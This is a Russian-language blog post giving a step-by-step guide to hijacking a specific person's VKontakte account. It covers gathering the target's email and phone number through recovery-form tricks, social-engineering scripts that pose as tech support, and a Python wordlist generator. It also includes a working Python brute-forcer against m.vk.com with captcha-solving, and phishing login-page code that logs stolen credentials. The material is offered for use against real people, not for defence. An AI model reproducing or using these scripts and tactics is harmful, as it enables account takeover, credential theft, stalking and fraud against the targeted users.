Как взломать Вконтакте?! ¶
By: SleepWalker on 2016-01-23 11 ч.
Как взломать Вконтакте?!
Наконец-то!!! Cкажут десятки/сотни школьников(и не очень), долгое время терроризировавших мои контакты. Еще раз повторяю, я не ломаю вконтактик за деньги, но для тех кому все-таки неймется, была написана эта статья.
Итак, как же взломать Вк?
Простой ответ - никак! Более полный - если учесть, что большинство пользователей совершают ошибки, то взлом возможен, но не путаем понятия. Уязвимости, позволяющей взламывать абсолютно любого юзера за пять сек нет и не будет. А если и будет, то никто не собирается вам ее предлагать. Поэтому, те способы, которые я представлю ниже, тем или иным образом направлены на обман юзера и используют отсутствие у него мозга.
Разделим весь процесс на несколько этапов. Первоначально нам понадобится цель,свободное время, безопасный доступ к вк(если хотим сохранить анонимность конечно) и можем приступать.
----------------------------
Этап №1 - "Сбор информации"
На этом этапе мы имеем страницу юзера, которого бы желательно взломать и нам необходимо собрать, как можно больше полезной информации, которая бы впоследствии помогла в успешном взломе.
Что же такого имеется на странице?
1) Урл страницы. Сохраняем себе айди или если там имеется буквенная замена, то ее. Аккаунты и прочее данного человека, всякого рода твиттеры и прочее.
2) Разумеется мы бы хотели заиметь почту цели.
Писать ему/ей напрямую и выпытывать? В большинстве случаев это не потребуется. Если человек не только попал в сеть, вы сможете найти почту путем простого гугления. Например особо удобно отыскивать мыло на мэйл ру. Один из способов - это просто погуглить фио цели и дату рождения. Или же другого рода такие комбинации. Если цель имеет мой мир на маиле, то почта будет в коде страницы или же в урл.
Если просто имеется почта без соц.сети от мейла ее тоже можно запросто выяснить зарегавши себе другую почту на этом сервисе и поискав в мессенджере от мэйла.
И как вариант вы можете поискать полезную информацию с помощью имеющихся у цели аккаунтов. То есть берем например никнейм в Твиттере/Фейсбуке/другое и пробиваем по популярным почтовым сервисам. Также в Твиттере можно использовать форму восстановления и узнать часть почты. В фейсбуке можно напрямую поискать аккаунт введя почту в поиск. И в некоторых сервисах есть такая штука, как импорт почтовых контактов и предложение добавить этих людей в друзья. То есть можно зарегать левую почту и узнать дополнительные аккаунты.
Если почта не была запалена сразу, то найти ее можно только так с помощью последовательного поиска полезной информации.
3) Телефон.
А как же узнать номер человека? Если исключить такие варианты, как публикация юзером своего номера на странице(есть и такие) и например использования им телефона для связи в каком-либо проекте, где он выложен в открытую(Авито/Свой сайт/Покупка или продажа недвижимости/Другое), то остается лишь этот вариант.
Есть такой, не сказать открытый, но достаточно простой способ, позволяющий узнать номер юзера, если у вас имеется несколько его аккаунтов, привязанных к одной и той же почте.
Приведу пример:
Имеется почта юзера на маиле. Вводим ее в форму восстановления вконтакте и нам пишет часть номера. Вводим также ее на маиле в восстановлении. И если номер там привязан, то вы увидите уже, другую часть номера. Если почта не привязана, то тогда там есть секретный вопрос. Перебираем его и заставляем юзера привязать мобилку на сервис.
Теперь у вас не хватает лишь двух цифр от почты. Чтобы их узнать достаточно перебрать форму восстановления вк уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. А когда будет запрашивать фамилию страницы, как доп защиту, запросто вводим ее. Ведь мы же знаем страницу цели.
Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и тд. Это тупость еще та. Если вам повезет, то будут незакрыты именно те цифры, которые вам недоступны в форме восстановления вк.
Этап №2 - "Собственно взлом"
В данном этапе вы должны получить доступ к аккаунту цели. Я опишу самые простые способы.
Основные способы:
1) "Социнженер"
Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети.
Если вы хотите просто попрактиковаться, то новички вк могут быть найдены
здесь - vk.com/catalog.php
В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.
Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив(разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки(для лохов) или кулхацкер, как мы знаем.
В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.
2) "Умный брутфорс"
Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.
Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть?
Представлю примеры(персонаж вымышленный).
-- Дата рождения - 17.11.1992 = 1711, 1992, 17111992
-- Возраст - 2016 - 1992 = 24
-- Имя - Стас = stas, ctac
-- Фамилия - Курягин = kuryagin,
-- Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92
-- Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka
Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли. https://vk.com/page-777107_1000339
Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.
Представляю вам мой небольшой скрипт на python, который этим и занимается.
#! coding:utf-8
import sys,os
razdel = ['_',':',';']
def uniq(seq):
seen = set()
seen_add = seen.add
return [x for x in seq if not (x in seen or seen_add(x))]
def brute_words(spisok):
spisok2 = []
for i in spisok:
spisok2.append(i)
spisok2.append(i[0].upper()+i[1:])
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper())
spisok2.append(i.upper())
for j in spisok:
spisok2.append(i+j)
for m in razdel:
spisok2.append(j+m+i)
spisok2.append(j+i)
spisok2.append(i+i+j)
spisok2.append(j+j+i)
spisok2.append(i[0].upper()+i[1:]+j)
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j)
return uniq(spisok2)
def generate(spisok_file):
o = open(spisok_file,'r')
spisok = o.read().splitlines()
for i in brute_words(spisok):
print i
def main():
try:
argv1 = sys.argv[1]
generate(argv1)
except IndexError:
print "Нужно указать файл"
except IOError:
print "Нет такого файла"
if __name__ == "__main__":
main()
Из 14 получилось 1272 варианта. Приведу часть.
Molodegkactac
MolodegkActac
molodejka_molodegka
Stasss92molodejka
stasss92molodegka
molodegka_stasss92
molodegka:stasss92
molodegka;stasss92
stasss1992swimming
swimming_stasss1992
Kurayginctac
KuraygiNctac
kurayginkuraygin
kuraygin_kuraygin
molodegka17111992
1711199217111992molodegka
molodegkamolodegka17111992
24
1711_24
и тд...
Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.
Разумеется, необходимо все более или менее автоматизировать.
Для этой цели я набросал небольшой скрипт, который брутит через мобильную версию вк.
#! coding: utf8
import grab,re,urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
cap_key = '123 ' #Ваш ключ с антигейт
def anti(key, file): #Получение решения капчи с антигейт
try:
try:
data = AntiGate(key, file)
return data
except KeyboardInterrupt:
print "Завершение"
except:
anti(key,file)
def save(url, file): #Скачивание файла по урл
f = urllib2.urlopen(url)
f2 = open(file, 'wb')
f2.write(f.read())
def cap_solve(img):
save(img, 'captcha.jpg')
key = anti(cap_key, 'captcha.jpg')
return key
def brute(login,passwords,save):
o = open(save,'w')
o2 = open(passwords,'r')
try:
int(login)
prefix = True
except:
prefix = False
g = grab.Grab()
g.go('https://m.vk.com')
for i in o2:
i2 = i.rstrip('\r\n')
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.submit()
if g.doc.text_search(u'captcha'):
c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
c2 = 'https://m.vk.com' + c1
key = cap_solve(c2)
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.set_input('captcha_key',str(key))
g.doc.submit()
print "cap"
if 'Подтвердить' in g.response.body:
if prefix:
prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
prefix2 = g.doc.rex_search('<span class="field_prefix"> [0-9]*</span>').group(0)
pre1 = re.findall('[0-9]{1,}', prefix1)[0]
pre2 = re.findall('[0-9]{1,}', prefix2)[0]
login = login.replace(pre1,'')
login = login.replace(pre2,'')
g.set_input('code', login)
g.submit()
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
else:
o.write(login + ':' + i2 + '\n')
else:
if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
print login + ':' + i2 + '--fail'
else:
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
o.close()
o2.close()
Он для одиночной цели, не стал делать прокси,многопточность и прочие фишки.
А то школьники еще поломают кого)
За то он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.
3) "Фейк наше все"
Данный способ предназначен для невнимательных людей. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Я покажу вам, как создать простой фейк на основе обычного сайта вк(страницы логина). Можете брать, как мобильную, так и основную версии зависит от того, с какого устройства будет заходить юзер.
Насчет регистрации на хостинге и покупки похожего домена ничего писать не буду, так как это банально просто.
----
Ручной способ:
Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8.
Сначала определяем кодировку
file --mime-encoding file.html
Затем меняем с исходной на новую
iconv -f iso-8859-1 -t utf-8 file.html > vk2.html
Далее вам нужно создать управление страницей на серверном языке. Для этой цели
я также использовал python. Можно заюзать простейший фреймворк под названием bottle. Его плюс, в том что ему не нужны никакие зависимости. Просто качаете файл скрипта с сайта и все.
@route('/')
def index():
return template('vk2.html')
@route('/Welcome! | VK_files/<filepath:path>')
def server_static(filepath):
return static_file(filepath, root='./Welcome! | VK_files/')
После тестового запуска скрипта обнаружилась ошибка 404 на кое-каких файлах.
У нас к сожалению не имеется нужных картинок с сайта. Давайте положим их в отдельную папку images.
mkdir images
cd images
wget https://vk.com/images/hatf_vk.gif
wget "https://vk.com/images/darr_dd_out.gif"
wget "https://vk.com/images/backlink.gif"
mkdir icons
cd icons
wget "https://vk.com/images/icons/facebook_btn_icon.png"
wget "https://vk.com/images/icons/check.gif"
Пропишем новый роутинг в скрипте.
@route('/images/<filepath:path>')
def server_static(filepath):
return static_file(filepath, root='./images/')
Теперь все стало на порядок красивее. Вы конечно можете скачать также основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней(а потом поменять ссылки в основной), но и одной хватит.
Чего же не хватает? Ах да конечно. После логина ничего не происходит. Давайте изменим это.
Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.
@post('/')
def index():
login = request.forms.get('email')
password = request.forms.get('pass')
print "|Catch|-------------- " + login + ':' + password
with open("log.txt", "a") as myfile:
myfile.write(login + ':' + password + "\n")
return redirect('https://www.vk.com')
Так работает. Правда пока лишь после нажатия enter, но не по клику кнопки.
Переносим тег button, что под формой в коде в пределы формы и добавляем свойство type="submit".
После этого кнопка работает, как надо.
Архив с готовым решением.
--
Автоматический способ:
Если хотите использовать уже готовое решение, то можно воспользоваться тулкитом SET. Social Engineer Toolkit. Входит в дистрибутив кали. Можно установить на обычный debian на сервере, используя репы kali или установив все зависимости по отдельности.
Используем функцию site cloner в составе set. В нем есть дополнительные возможности, такие как встраивание вредоносных скриптов прямо в страницу или же добавление опасных flash.